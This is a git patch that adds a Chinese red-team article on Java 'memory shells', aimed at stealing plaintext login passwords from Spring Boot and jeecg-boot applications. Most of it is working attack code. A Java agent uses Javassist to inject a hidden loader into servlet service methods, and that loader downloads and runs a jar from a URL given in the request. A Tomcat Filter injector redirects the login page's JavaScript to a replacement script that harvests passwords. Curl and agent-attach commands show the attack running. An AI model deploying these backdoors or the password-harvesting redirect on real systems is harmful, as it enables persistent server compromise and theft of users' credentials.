From 623e09813a3866072241e4d3e93746fdc03097cd Mon Sep 17 00:00:00 2001 From: ordar <31604279+MrWQ@users.noreply.github.com> Date: Fri, 13 Sep 2024 16:23:25 +0800 Subject: [PATCH] =?UTF-8?q?Upload=20new=20file:=20java=20=E5=86=85?= =?UTF-8?q?=E5=AD=98=E9=A9=AC=E6=B7=B1=E5=BA=A6=E5=88=A9=E7=94=A8=EF=BC=9A?= =?UTF-8?q?=E7=AA=83=E5=8F=96=E6=98=8E=E6=96=87=E3=80=81=E9=92=93=E9=B1=BC?= =?UTF-8?q?.md=20via=20simpread?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...07\343\200\201\351\222\223\351\261\274.md" | 457 ++++++++++++++++++ 1 file changed, 457 insertions(+) create mode 100644 "skill/java \345\206\205\345\255\230\351\251\254\346\267\261\345\272\246\345\210\251\347\224\250\357\274\232\347\252\203\345\217\226\346\230\216\346\226\207\343\200\201\351\222\223\351\261\274.md" diff --git "a/skill/java \345\206\205\345\255\230\351\251\254\346\267\261\345\272\246\345\210\251\347\224\250\357\274\232\347\252\203\345\217\226\346\230\216\346\226\207\343\200\201\351\222\223\351\261\274.md" "b/skill/java \345\206\205\345\255\230\351\251\254\346\267\261\345\272\246\345\210\251\347\224\250\357\274\232\347\252\203\345\217\226\346\230\216\346\226\207\343\200\201\351\222\223\351\261\274.md" new file mode 100644 index 000000000..90a52f0c4 --- /dev/null +++ "b/skill/java \345\206\205\345\255\230\351\251\254\346\267\261\345\272\246\345\210\251\347\224\250\357\274\232\347\252\203\345\217\226\346\230\216\346\226\207\343\200\201\351\222\223\351\261\274.md" @@ -0,0 +1,457 @@ +> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s/LQWGKHXs3EP8hz_r7z4KDg) + +一、前言 +==== + +在红蓝对抗中,进程内存是兵家必争之地。例如,知名的 Mimikatz 工具(用于提取计算机密码和哈希值)就是通过操作内存来实现的。然而,由于操作内存极为繁琐且复杂,并且大部分软件的特性不一致,导致投入产出比相对较低,所以研究这一领域的人相对较少。 + +然而,在 Java 安全领域,内存对抗相对较为常见。由于 Java Instrument 机制(在内存中修改类)以及反序列化漏洞,可以通过代码执行来增加 Servlet、Filter 等内存马(这些能够有效规避回显和查杀),并且有众多的内存马工具生态,造就了内存马研究的浪潮。 + +不过,我个人认为,内存利用的潜力尚未被充分挖掘,因为**蓝军的最终目标是业务权限或数据,而非机器**。我曾遇到以下困扰的问题,后来发现这些问题都可以通过操作内存来解决: + +1、遇到 KMS 加密的配置文件时,如何快速解密? + +2、如何窃取用户登录 Spring Boot 应用的明文密码,而非 MD5 哈希值? + +3、如何窃取二因素认证的 token 以绕过登录验证? + +二、我有一个想法 +======== + +上面这些问题,在 java 应用中都可以通过 Java Instrument 解决:dump 内存、修改内存 class 逻辑。这里重点聊一下第二点。 + +1、增加一个 jar loader:做一个 loader,方便根据不同目标插入不同的内存马 + +2、自定义不可描述的事情:比如窃取 web js 密码明文逻辑:修改返回包 -> 替换返回包 -> 替换 js 的 url(非常完美,本地或远程都可以),跟 @skay 讨论思路如上。实现过程是通过注入 jar Loader 注入 Filter 内存马,改变 js 的返回路径。 + +三、实验思路 +====== + +3.1、Java Instrument 制作 jar loader +--------------------------------- + +### 确认 javaassit 版本 + +javaassit 版本太低了,对于需要修改的目标 webapp 不兼容(比较高版本的 jdk 不兼容),版本太高了,编译的 agent 需要的 jdk 版本需要 jdk8 以上。 + +### 修改 servlet class + +shellcode,最后的 return 是让有一个判断,返回为空则说明注入成功。 + +``` +javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1; +javax.servlet.http.HttpServletResponse response =(javax.servlet.ServletResponse)$2; +javax.servlet.http.HttpSession session = request.getSession(); +if((request.getQueryString()!=null)&&(request.getQueryString().contains("lPassword"))) +{ +   java.util.Map obj=new java.util.HashMap(); +   obj.put("request",request); +   obj.put("response",response); +   obj.put("session",session); +ClassLoader loader=this.getClass().getClassLoader(); +if(request.getMethod().equals("POST")) +{ +try{ +String lUrl = request.getParameter("lUrl"); +String lName = request.getParameter("lName"); +            java.net.URL[] urls =new java.net.URL[]{new java.net.URL(lUrl)}; +            java.net.URLClassLoader urlClassLoader =new java.net.URLClassLoader(urls,this.getClass().getClassLoader()); +Class clazz = urlClassLoader.loadClass(lName); +            java.lang.reflect.Method[] methods = clazz.getDeclaredMethods(); +for(int i =0; i < methods.length; i++){ +System.out.println("method: "+methods[i].getName()); +} +            java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors(); +for(int i =0; i < constructors.length; i++){ +System.out.println("constructor: "+constructors[i].getName()); +} +Object obj = clazz.newInstance(); +return; +}catch(Exception e){e.printStackTrace();} +} +} + +``` + +agent 的代码:AfterDemo.java + +``` +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; +import java.lang.instrument.ClassDefinition; +import java.lang.instrument.Instrumentation; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +publicclassAfterDemo{ +publicstaticvoid agentmain(String agentArgs,Instrumentation inst){ +System.out.println("hello I`m agentMain!!!"); +Class[] cLasses = inst.getAllLoadedClasses(); +byte[] bArr =newbyte[0]; +Map> targetClasses =newHashMap<>(); +Map targetClassJavaxMap =newHashMap<>(); +        targetClassJavaxMap.put("methodName","service"); +List paramJavaxClsStrList =newArrayList<>(); +        paramJavaxClsStrList.add("javax.servlet.ServletRequest"); +        paramJavaxClsStrList.add("javax.servlet.ServletResponse"); +        targetClassJavaxMap.put("paramList", paramJavaxClsStrList); +        targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap); +Map targetClassJakartaMap =newHashMap<>(); +        targetClassJakartaMap.put("methodName","service"); +List paramJakartaClsStrList =newArrayList<>(); +        paramJakartaClsStrList.add("jakarta.servlet.ServletRequest"); +        paramJakartaClsStrList.add("jakarta.servlet.ServletResponse"); +        targetClassJakartaMap.put("paramList", paramJakartaClsStrList); +        targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap); +        targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap); +ClassPool cPool =ClassPool.getDefault(); +if(ServerDetector.isWebLogic()){ +            targetClasses.clear(); +Map targetClassWeblogicMap =newHashMap<>(); +            targetClassWeblogicMap.put("methodName","execute"); +List paramWeblogicClsStrList =newArrayList<>(); +            paramWeblogicClsStrList.add("javax.servlet.ServletRequest"); +            paramWeblogicClsStrList.add("javax.servlet.ServletResponse"); +            targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList); +            targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap); +} +String shellCode ="javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;\n"+ +"javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;\n"+ +"javax.servlet.http.HttpSession session = request.getSession();\n"+ +"String pathPattern=\"/linject\";\n"+ +"if (request.getRequestURI().matches(pathPattern))\n"+ +"{\n"+ +"   java.util.Map obj=new java.util.HashMap();\n"+ +"   obj.put(\"request\",request);\n"+ +"   obj.put(\"response\",response);\n"+ +"   obj.put(\"session\",session);\n"+ +"   ClassLoader loader=this.getClass().getClassLoader();\n"+ +"   if (request.getMethod().equals(\"POST\"))\n"+ +"   {\n"+ +"      try{\n"+ +"            String lUrl = request.getParameter(\"lUrl\");\n"+ +"            String lName = request.getParameter(\"lName\");\n"+ +"            java.net.URL[] urls = new java.net.URL[]{new java.net.URL(lUrl)};\n"+ +"            java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(urls,this.getClass().getClassLoader());\n"+ +"            Class clazz = urlClassLoader.loadClass(lName);\n"+ +"            java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();\n"+ +"            for (int i = 0; i < methods.length; i++) {\n"+ +"                  System.out.println(\"method: \" +methods[i].getName());\n"+ +"            }\n"+ +"            java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors();\n"+ +"            for (int i = 0; i < constructors.length; i++) {\n"+ +"                  System.out.println(\"constructor: \" +constructors[i].getName());\n"+ +"            }\n"+ +"            Object obj = clazz.newInstance();\n"+ +"            return;\n"+ +"      }catch (Exception e){e.printStackTrace();}\n"+ +"   }\n"+ +"}"; +for(Class cls : cLasses){ +System.out.println(cls.getName()); +if(targetClasses.keySet().contains(cls.getName())){ +String targetClassName = cls.getName(); +try{ +System.out.println("found class:"+targetClassName); +if(targetClassName.equals("jakarta.servlet.http.HttpServlet")){ +                        shellCode = shellCode.replace("javax.servlet","jakarta.servlet"); +} +ClassClassPath classPath =newClassClassPath(cls); +                    cPool.insertClassPath(classPath); +                    cPool.importPackage("java.lang.reflect.Method"); +                    cPool.importPackage("javax.crypto.Cipher"); +List paramClsList =newArrayList<>(); +for(Object clsName :(List) targetClasses.get(targetClassName).get("paramList")){ +                        paramClsList.add(cPool.get((String) clsName)); +} +CtClass cClass = cPool.get(targetClassName); +String methodName = targetClasses.get(targetClassName).get("methodName").toString(); +CtMethod cMethod = cClass.getDeclaredMethod(methodName,(CtClass[]) paramClsList.toArray(newCtClass[paramClsList.size()])); +                    cMethod.insertBefore(shellCode); +                    cClass.detach(); +byte[] data = cClass.toBytecode(); +                    inst.redefineClasses(newClassDefinition[]{newClassDefinition(cls, data)}); +}catch(Exception e){ +                    e.printStackTrace(); +} +break; +} +} +} +} + + + +``` + +``` +curl -X POST  'http://127.0.0.1:9091/linject?lUrl=http://127.0.0.1/TestSpring4.jar&lName=org.example.testspring4.Inject&password' -vvv + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/36ssDibLXxGQgpicOKMZYUDn6GwZ3zl7Ab5LagNZC0lQmEa7BqFowhXibT9WiaXOicS8q9GZNz6Qic3dKICh9MQm8pGQ/640?wx_fmt=png&from=appmsg)0 + +3.2、注入 Filter +------------- + +### Filter & Filter 注射器 + +MyFilter.java + +``` +import jakarta.servlet.*; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import java.io.IOException; +publicclassMyFilterimplementsFilter{ +@Override +publicvoid init(FilterConfig filterConfig)throwsServletException{ +Filter.super.init(filterConfig); +} +@Override +publicvoid doFilter(ServletRequest servletRequest,ServletResponse servletResponse,FilterChain filterChain)throwsIOException,ServletException{ +if(((HttpServletRequest)servletRequest).getRequestURI().endsWith("app.9fa057ee.js")){ +((HttpServletResponse)servletResponse).sendRedirect("http://127.0.0.1/app.js"); +}else{ +            filterChain.doFilter(servletRequest, servletResponse); +} +} + +@Override +publicvoid destroy(){ +Filter.super.destroy(); +} +} + +``` + +Inject.java + +``` +package org.example.testspring4; +import jakarta.servlet.*; +import org.apache.catalina.Context; +import org.apache.catalina.core.ApplicationContext; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.descriptor.web.FilterDef; +import org.springframework.boot.web.servlet.DispatcherType; +import org.springframework.web.context.WebApplicationContext; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; +import org.springframework.web.servlet.support.RequestContextUtils; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.Map; +publicclassInject{ +publicInject(){ +try{ +WebApplicationContext context =RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); +System.out.println(context); +ServletContext servletContext =((org.springframework.web.context.WebApplicationContext)context).getServletContext(); +Field appctx = servletContext.getClass().getDeclaredField("context");// 获取属性 +            appctx.setAccessible(true); +ApplicationContext applicationContext =(ApplicationContext) appctx.get(servletContext); +Field stdctx = applicationContext.getClass().getDeclaredField("context"); +            stdctx.setAccessible(true); +StandardContext standardContext =(StandardContext) stdctx.get(applicationContext); +MyFilter filter =newMyFilter(); +StringFilter; +FieldConfigs=null; +Map filterConfigs; +Configs=StandardContext.class.getDeclaredField("filterConfigs"); +Configs.setAccessible(true); +            filterConfigs =(Map)Configs.get(standardContext); +ClassFilterDef=Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); +Constructor declaredConstructors =FilterDef.getDeclaredConstructor(); +            org.apache.tomcat.util.descriptor.web.FilterDef o =(org.apache.tomcat.util.descriptor.web.FilterDef) declaredConstructors.newInstance(); +            o.setFilter(filter); +            o.setFilterName(FilterName); +            o.setFilterClass(filter.getClass().getName()); +            standardContext.addFilterDef(o); +//Step 4 +ClassFilterMap=Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); +Constructor declaredConstructor =FilterMap.getDeclaredConstructor(); +            org.apache.tomcat.util.descriptor.web.FilterMap o1 =(org.apache.tomcat.util.descriptor.web.FilterMap) declaredConstructor.newInstance(); +            o1.addURLPattern("/*"); +            o1.setFilterName(FilterName); +            o1.setDispatcher(DispatcherType.REQUEST.name()); +            standardContext.addFilterMapBefore(o1); +//Step 5 +ClassApplicationFilterConfig=Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); +Constructor declaredConstructor1 =ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); +            declaredConstructor1.setAccessible(true); +            org.apache.catalina.core.ApplicationFilterConfig filterConfig =(org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext, o); +            filterConfigs.put(FilterName, filterConfig); +}catch(Exception e){ +            e.printStackTrace(); +} +} +} + +``` + +### Jar Loader + +需要注入到对应的 servlet 中去,因为这样就有了这个 web app 的上下文了,然后就可以通过 Jar Loader 加载任意 java 代码了。 + +注意:new java.net.URLClassLoader(urls,this.getClass().getClassLoader()); + +**每个类加载器都有自己的命名空间,它包含由该类加载器加载的类。在 Java 中,类的唯一性不仅由类的完全限定名(类名 + 包名)决定,还由加载它的类加载器决定。**因此,即使两个类加载器加载了相同的类文件,这两个类也被视为不同的类,因为它们位于不同的命名空间中。 + +``` +try{ +    java.net.URL[] urls =new java.net.URL[]{new java.net.URL(url)}; +    java.net.URLClassLoader urlClassLoader =new java.net.URLClassLoader(urls,this.getClass().getClassLoader()); +Class clazz = urlClassLoader.loadClass(name); +    java.lang.reflect.Method[] methods = clazz.getDeclaredMethods(); +for(java.lang.reflect.Method _method : methods){ +System.out.println("method: "+ _method); +} +    java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors(); +for(java.lang.reflect.Constructor ctor : constructors){ +System.out.println("Constructor: "+ ctor); +} +Object obj = clazz.newInstance(); +}catch(Exception e){ +    e.printStackTrace(); +} + +``` + +### 成功劫持 + +对 app.9fa057ee.js 进行劫持成功。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/36ssDibLXxGQgpicOKMZYUDn6GwZ3zl7Ab80dtTgzve4mzTzkjXzmSVnjZNLOMiazO5DPK5qeNkQmEegSAN6XBsibQ/640?wx_fmt=png&from=appmsg)1 + +四、jeecg-boot 劫持 +=============== + +1、生成 SpiringFilter 内存马(注射器和 Filter 马内容) +--------------------------------------- + +``` + +  org.springframework.boot +  spring-boot-starter-web +  2.7.18 + + +``` + +``` +package org.example; + + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + + +import java.io.IOException; + + +publicclassMyFilterimplementsFilter{ +@Override +publicvoidinit(FilterConfig filterConfig)throwsServletException{ +Filter.super.init(filterConfig); +} + + +@Override +publicvoiddoFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)throwsIOException,ServletException{ +if(((HttpServletRequest)servletRequest).getRequestURI().endsWith("app.9fa057ee.js")){ +((HttpServletResponse)servletResponse).sendRedirect("http://127.0.0.1/app.js"); +}else{ +            filterChain.doFilter(servletRequest, servletResponse); +} +} + + +@Override +publicvoiddestroy(){ +Filter.super.destroy(); +} +} + + + + + +``` + +2、通过 agent 修改目标类 +---------------- + +通过 agent 修改 HttpServlet,实现访问任意路径即可加载 Jar,注入内存马。 + +这步就是修改了 javax.servlet.http.HttpServlet,可以加载任意的 jar 中的 class 执行。 + +``` +java -jar agent-attach-java-1.8.jar -pid 83106 -agent-jar /Users/lufei/Downloads/AgentTester/out/artifacts/AgentTester_jar/AgentTester.jar + +``` + +3、加载 SpringFilter 的 inject 并且修改 Filter +-------------------------------------- + +因为要触发 javax.servlet.http.HttpServlet,所以必须在 webapp 的 context 上,所以只要成功访问 webapp 的任意 url 就可以触发,并且会返回 200 状态 + +``` +curl -X POST  'http://127.0.0.1:8080/jeecg-boot/sys/login?lUrl=http://127.0.0.1/SpringFilter-1.0-SNAPSHOT.jar&lName=org.example.Inject&lPassword' -vvv + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/36ssDibLXxGQgpicOKMZYUDn6GwZ3zl7Ab3QALTnM15IpzzjibfibibMWz70L3uEd0zBH9xkvGicrT7wl3dcicduwFoWQ/640?wx_fmt=png&from=appmsg)2 + +4、验证是否成功 +-------- + +这里会看到访问 jeecg-boot/webjars/js/app.9fa057ee.js,就会跳转到 / app.js,成功被劫持。 + +``` +curl  'http://127.0.0.1:8080/jeecg-boot/webjars/js/app.9fa057ee.js' -vv + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/36ssDibLXxGQgpicOKMZYUDn6GwZ3zl7AbrRFsH12kLPHmIiageDaicd2jiaNwmz8uKNlGia8XxiblKpOcJnzPYSv2ueQ/640?wx_fmt=png&from=appmsg)3 + +这里 js 加载我们修改的 js,在 js 头部插入我们的 js 代码,这时候可以插入任意 js,直接窃取明文密码。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/36ssDibLXxGQgpicOKMZYUDn6GwZ3zl7AbRvAJ5npf4j65TWBCgBFnQv8HPUs8xyYaj1SSkCwkJIXDzODlts13kw/640?wx_fmt=png&from=appmsg)4![](https://mmbiz.qpic.cn/sz_mmbiz_png/36ssDibLXxGQgpicOKMZYUDn6GwZ3zl7AbhIv5A0uQiaFaarKgSeic16XcDTHKQ8yzQEYH135piak1N6H35RRAJZ8iag/640?wx_fmt=png&from=appmsg)5 + +五、总结 +==== + +在红蓝对抗中,随着国内监管合规健全以及各类的安全基础设施完善,获取到机器 ROOT 权限并不意味结束,而是面对另一场对抗。 + +社群:加我 lufeirider 微信进群。 + +知识星球:关注攻击(红蓝对抗、代码审计、渗透、SRC 漏洞挖掘等等)与防御(情报、扫描器、应用扫描、WAF、NIDS、HIDS、蜜罐等等)。目前聚焦 ai 落地攻击和防御。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/36ssDibLXxGQNnibbibwiaIYvIRZoGhptDU4xSU4HQAERFD9ZrIBKLO5HSKXicS35JNQm714zfxFLF2QntthBRpln5Q/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp) + +攻防与防御回顾 + +[k8s 被黑真能溯源到攻击者吗?](http://mp.weixin.qq.com/s?__biz=MzU1NzkwMzUzNg==&mid=2247484194&idx=1&sn=85c96519682c0bf127c3fd23fc6cd572&chksm=fc2ff8fdcb5871eb6c5a9ad250f1c18f5b2249604405ca900c98f9503f56f4ca98e94b201af8&scene=21#wechat_redirect) + +[“VT 全绿”- 手动 patch exe 免杀](http://mp.weixin.qq.com/s?__biz=MzU1NzkwMzUzNg==&mid=2247484180&idx=1&sn=a454e67c8629b8254da900a5c5900a2e&chksm=fc2ff8cbcb5871ddda5f129f5162a46f274afa2968eb242525461acabce72fd69ff214ce11d0&scene=21#wechat_redirect) + +[最近 CDN 供应链事件的曲折分析与应对 - 业务安全](http://mp.weixin.qq.com/s?__biz=MzU1NzkwMzUzNg==&mid=2247484103&idx=1&sn=7092b50b647334ceda6cc3b6f11c91ea&chksm=fc2ff918cb58700eb25f7e9af09c0ee484aa1ae821666c3a201600e878425ec53e6ab6242c2e&scene=21#wechat_redirect) + +[加载数据集或模型可能就中毒!大模型供应链安全](http://mp.weixin.qq.com/s?__biz=MzU1NzkwMzUzNg==&mid=2247484075&idx=1&sn=a71cb46d562c054d628237d8623eeffa&chksm=fc2ff974cb5870628fad87f92a33c69c89e230b9a655ee844b2b7c19a8bbde0d3ed7d5cc7ecb&scene=21#wechat_redirect) + +[AI 与基础安全结合的新的攻击面](http://mp.weixin.qq.com/s?__biz=MzU1NzkwMzUzNg==&mid=2247483958&idx=1&sn=156f308fcc6bd33c7de1080767344c66&chksm=fc2ff9e9cb5870ff98fb357f5c39d85146fd751eeae3eb1b7cd5f299a949f681d89bf00d4eb7&scene=21#wechat_redirect) + +[AI 落地 - 蓝军之默认密码获取](http://mp.weixin.qq.com/s?__biz=MzU1NzkwMzUzNg==&mid=2247483819&idx=1&sn=6d672766eac01164b4846f6deedba511&chksm=fc2ffa74cb587362e450814ddfa606138c9476c283353c880d9df8416c9da99e1bb1eb637073&scene=21#wechat_redirect) + +[BootCDN 供应链攻击分析与应对](http://mp.weixin.qq.com/s?__biz=MzU1NzkwMzUzNg==&mid=2247483780&idx=1&sn=1f563fbf7f06a3c2df9ac0be96e09502&chksm=fc2ffa5bcb58734d4eccd871e2f6e661b0b4b6e8890d6aacc8702266a86ed427e72d75eca45b&scene=21#wechat_redirect) + +[挖洞技巧 - 扩展攻击面](http://mp.weixin.qq.com/s?__biz=MzU1NzkwMzUzNg==&mid=2247483741&idx=1&sn=9352a348d8e18a5429c3236e6435c838&chksm=fc2ffa82cb587394e1637cda7389f8cc3d367f9f3a5565f9b8a522d67046a3158a409a9bbfaf&scene=21#wechat_redirect) + +[weblogic-2019-2725exp 回显构造](http://mp.weixin.qq.com/s?__biz=MzU1NzkwMzUzNg==&mid=2247483670&idx=1&sn=baa3c2494ac61672543b32d254d0999c&chksm=fc2ffac9cb5873df1720b0a6882129f80d24614b4ec5d676bf10b5e62e09f896833e84a78c41&scene=21#wechat_redirect) + +[WEB 越权 - 劝你多删参数值](http://mp.weixin.qq.com/s?__biz=MzU1NzkwMzUzNg==&mid=2247483676&idx=1&sn=a43204f1c18d1187f7faed1792b62ceb&chksm=fc2ffac3cb5873d50eeb0bf6e87b029ed75ff5c324c708511aceb862240cfc4f4336aa63a67a&scene=21#wechat_redirect) \ No newline at end of file